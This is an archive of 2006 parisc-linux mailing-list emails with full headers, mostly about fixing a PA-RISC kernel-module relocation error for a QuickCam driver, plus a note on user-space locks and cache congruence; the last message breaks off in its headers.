X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7C6497D6BE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 20:38:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17900-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Jun 2006 20:38:22 -0600 (MDT)
Original-Received: from a.mail.sonic.net (a.mail.sonic.net [64.142.16.245])
	by free.linux.hp.com (Postfix) with ESMTP id 5A6027D6BD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 20:38:22 -0600 (MDT)
Original-Received: from miraculix.holthausworld.us (64-142-78-25.dsl.static.sonic.net
	[64.142.78.25]) (authenticated bits=0)
	by a.mail.sonic.net (8.13.6/8.13.3) with ESMTP id k562cLZB017574
	(version=TLSv1/SSLv3 cipher=EXP1024-RC4-SHA bits=56 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Jun 2006 19:38:21 -0700
User-Agent: KMail/1.9.1
In-Reply-To: <200606060220.k562KRc2009433@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mdiibKmoLi5n8ffRZWtpLRljZml1ZNgj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23721

--===============1928753302==
Content-Type: multipart/signed; boundary="nextPart2544209.WPKh5gd8W8";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart2544209.WPKh5gd8W8
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

> You might explore ways to reduce the modules's (e.g., limit inlining).
> You might also try compiling with the -mlong-calls options.  This forces
> GCC to use the "bve" instruction for calls in PA 2.0 compilations.  The
> call setup using bve is slightly longer but there are no distance
> limitations.  There's also a PA 1.x variant using "ble".  What's unclear
> to me is whether the kernel loader has support for the relocations used
> in these sequences.

I think I'm clearly out of my league here, since I honestly don't understan=
d=20
bve vs ble... :(

Anyway - I tried compiling the module with the "-mlong-calls" option - now =
I=20
get a different error message upon trying to insert the module into the=20
kernel:
	module quickcam: Unknown relocation: 10

Does that tell you anything? Because I have no clue...

Thanks so much for your help!

	Kai

=2D-=20
Hofstadter's Law:
  "It always takes longer than you expect,
   even when you take into account Hofstadter's Law."
                             -- Douglas R. Hofstadter

kmh.AT.sonic.net

Check out Mission Octagon - a new, exciting novel!
http://www.missionoctagon.com

--nextPart2544209.WPKh5gd8W8
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)

iD8DBQBEhOqcwl7N6T1/FugRAk2vAJ9+jheiiieY93WsTHGwW7knXFVPpACdHTWY
ck7lHpsPBgczob0QxSE4WBo=
=5PWp
-----END PGP SIGNATURE-----

--nextPart2544209.WPKh5gd8W8--

--===============1928753302==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1928753302==--



From - Thu Nov 08 21:34:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Module Relocation Problem
Date: Mon, 5 Jun 2006 23:07:10 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200606060307.k5637AbL016980@hiauly1.hia.nrc.ca>
References: <200606051938.20617.kmh@sonic.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624100 19820 80.91.229.3 (22 Nov 2014 02:41:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kmh@sonic.net (Kai Holthaus)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jun 2006 03:07:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 06 Jun 2006 05:07:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B1347D6BC;
	Mon,  5 Jun 2006 21:07:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18056-08; Mon, 5 Jun 2006 21:07:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 39FBF7D6BD;
	Mon,  5 Jun 2006 21:07:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 624D07D6BB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 21:07:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18187-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Jun 2006 21:07:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 4EDBB7D6BA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 21:07:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k5637B4O016985;
	Mon, 5 Jun 2006 23:07:11 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k5637AbL016980;
	Mon, 5 Jun 2006 23:07:10 -0400 (EDT)
In-Reply-To: <200606051938.20617.kmh@sonic.net> from "Kai Holthaus" at Jun 5,
	2006 07:38:19 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CJ3vLMtaTlIvsreQeGhr295GU2poZZlR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23722

> Anyway - I tried compiling the module with the "-mlong-calls" option - now =
> I=20
> get a different error message upon trying to insert the module into the=20
> kernel:
> 	module quickcam: Unknown relocation: 10

That's R_PARISC_PCREL21L.  I was afraid this might happen.

About the only easy things are "-Os" and "-fno-inline-functions".
These might shrink the module a bit.  Oh, "-fno-unroll-loops" might
also help.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kai Holthaus <kmh@sonic.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Module Relocation Problem
Date: Mon, 5 Jun 2006 20:20:52 -0700
Lines: 71
Approved: news@gmane.org
Message-ID: <200606052020.52908.kmh@sonic.net>
References: <200606060307.k5637AbL016980@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1888165773=="
X-Trace: ger.gmane.org 1416624100 19824 80.91.229.3 (22 Nov 2014 02:41:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jun 2006 03:21:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 06 Jun 2006 05:21:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A25DA7D64C;
	Mon,  5 Jun 2006 21:21:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18534-04; Mon, 5 Jun 2006 21:21:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B351B7D649;
	Mon,  5 Jun 2006 21:21:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 881D57D6C9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 21:20:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18187-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Jun 2006 21:20:57 -0600 (MDT)
Original-Received: from b.mail.sonic.net (b.mail.sonic.net [64.142.19.5])
	by free.linux.hp.com (Postfix) with ESMTP id 6610E7D6C7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 21:20:57 -0600 (MDT)
Original-Received: from miraculix.holthausworld.us (64-142-78-25.dsl.static.sonic.net
	[64.142.78.25]) (authenticated bits=0)
	by b.mail.sonic.net (8.13.6/8.13.3) with ESMTP id k563KrwU014408
	(version=TLSv1/SSLv3 cipher=EXP1024-RC4-SHA bits=56 verify=NO);
	Mon, 5 Jun 2006 20:20:53 -0700
User-Agent: KMail/1.9.1
In-Reply-To: <200606060307.k5637AbL016980@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: x53xd7Q6ODBpsLWUfGRMy981Ji9SWhI1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23723

--===============1888165773==
Content-Type: multipart/signed; boundary="nextPart6890163.XNQZBiOGki";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart6890163.XNQZBiOGki
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

> That's R_PARISC_PCREL21L.  I was afraid this might happen.
>
> About the only easy things are "-Os" and "-fno-inline-functions".
> These might shrink the module a bit.  Oh, "-fno-unroll-loops" might
> also help.

Thanks again for your help - and unfortunately these didn't do the trick,=20
either - same results.

Looking over your earlier reply, you indicated that the module must be=20
quite "large" - do you mean file size of the .ko file?
Because that is way under the 8MB you mentioned - the file is around 200kB =
in=20
size...

The qc-usb module is a driver for Logitech's QuickCam Express cameras, whic=
h=20
are using the kernel usb and video4linux drivers...

Thanks again,

	Kai

=2D-=20
Hofstadter's Law:
  "It always takes longer than you expect,
   even when you take into account Hofstadter's Law."
                             -- Douglas R. Hofstadter

kmh.AT.sonic.net

Check out Mission Octagon - a new, exciting novel!
http://www.missionoctagon.com

--nextPart6890163.XNQZBiOGki
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)

iD8DBQBEhPSUwl7N6T1/FugRAq7wAJ0TVYjhb7Z7hnc1+OFIA+qVYWMj3wCgqXoi
OJARjAjxUUwVHq5JdpTTbOQ=
=hrsG
-----END PGP SIGNATURE-----

--nextPart6890163.XNQZBiOGki--

--===============1888165773==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1888165773==--



From - Thu Nov 08 21:34:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Module Relocation Problem
Date: Mon, 5 Jun 2006 23:49:03 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200606060349.k563n4ST023145@hiauly1.hia.nrc.ca>
References: <200606052020.52908.kmh@sonic.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624101 19828 80.91.229.3 (22 Nov 2014 02:41:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kmh@sonic.net (Kai Holthaus)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jun 2006 03:49:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 06 Jun 2006 05:49:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B8D0C7D6DC;
	Mon,  5 Jun 2006 21:49:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18983-08; Mon, 5 Jun 2006 21:49:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0CB107D6D9;
	Mon,  5 Jun 2006 21:49:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E4D2C7D6D2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 21:49:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18861-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Jun 2006 21:49:06 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id CFE8B7D6D1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 21:49:05 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k563n4hx023147;
	Mon, 5 Jun 2006 23:49:05 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k563n4ST023145;
	Mon, 5 Jun 2006 23:49:04 -0400 (EDT)
In-Reply-To: <200606052020.52908.kmh@sonic.net> from "Kai Holthaus" at Jun 5,
	2006 08:20:52 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XortKzxcMydynYigZWplMctraGRhZpoA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23724

> Looking over your earlier reply, you indicated that the module must be=20
> quite "large" - do you mean file size of the .ko file?
> Because that is way under the 8MB you mentioned - the file is around 200kB =
> in=20
> size...

I wonder if that implies a bug a bug in the kernel loader.  I could
see a problem with PCREL17F relocations with files around 200kB.
These are used with the PA 1.x "bl" instruction.  The range for
"bl" instructions is about +/- 262kB.  The range for the 22F "b,l"
instruction is 32 times larger.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Mon, 05 Jun 2006 12:40:45 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <1149529245.3489.34.camel@mulgrave.il.steeleye.com>
References: <200606051649.k55Gnqtf004110@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624101 19832 80.91.229.3 (22 Nov 2014 02:41:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:41 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jun 2006 17:41:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 05 Jun 2006 19:41:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 335F17D691;
	Mon,  5 Jun 2006 11:41:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13585-04; Mon, 5 Jun 2006 11:41:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 43A137D689;
	Mon,  5 Jun 2006 11:41:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D32607D685
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 11:41:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11763-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Jun 2006 11:41:00 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id A630D7D684
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jun 2006 11:41:00 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k55Heka12451; Mon, 5 Jun 2006 13:40:46 -0400
In-Reply-To: <200606051649.k55Gnqtf004110@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2Bntd85BeWU3uq2TZm9naZorL0tsZo1H
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23725

On Mon, 2006-06-05 at 12:49 -0400, John David Anglin wrote:
> It's crossed my mind that locking could break if there is a memory
> aliasing issue,

This should never happen, since all our mmap areas are allocated on the
congruence boundary.  DaveM recently pointed out that mremap can violate
the congruence rules on sparc.  This could theoretically also happen on
pa, but only if you're enlarging below, which is an unusual case.

I did catch a few congruence errors when I redid the cache flushing via
tmpalias space, but it all looked to be due to kernel processes which
don't allocate correctly anyway ... and would never take user locks.
But I should probably get back and try to identify all the processes
with this problem.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A500 died - 2.6.17-rc5-pa3
Date: Mon, 5 Jun 2006 20:01:38 +0200
Organization: PA/Linux
Lines: 21
Approved: news@gmane.org
Message-ID: <20060605200138.47c90c1d@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624101 19835 80.91.229.3 (22 Nov 2014 02:41:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jun 2006 18:02:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 05 Jun 2006 20:02:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E6367D691;
	Mon,  5 Jun 2006 12:02:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13695-09; Mon, 5 Jun 2006 12:02:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D7F037D685;
	Mon,  5 Jun 2006 12:02:01 -0600 (MDT)
